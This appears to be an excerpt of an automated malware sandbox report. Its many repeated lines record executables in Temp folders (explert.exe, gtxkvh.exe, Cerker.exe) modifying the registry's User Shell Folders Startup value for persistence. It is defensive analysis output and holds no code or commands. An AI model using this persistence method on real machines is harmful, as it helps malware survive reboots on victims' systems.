Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
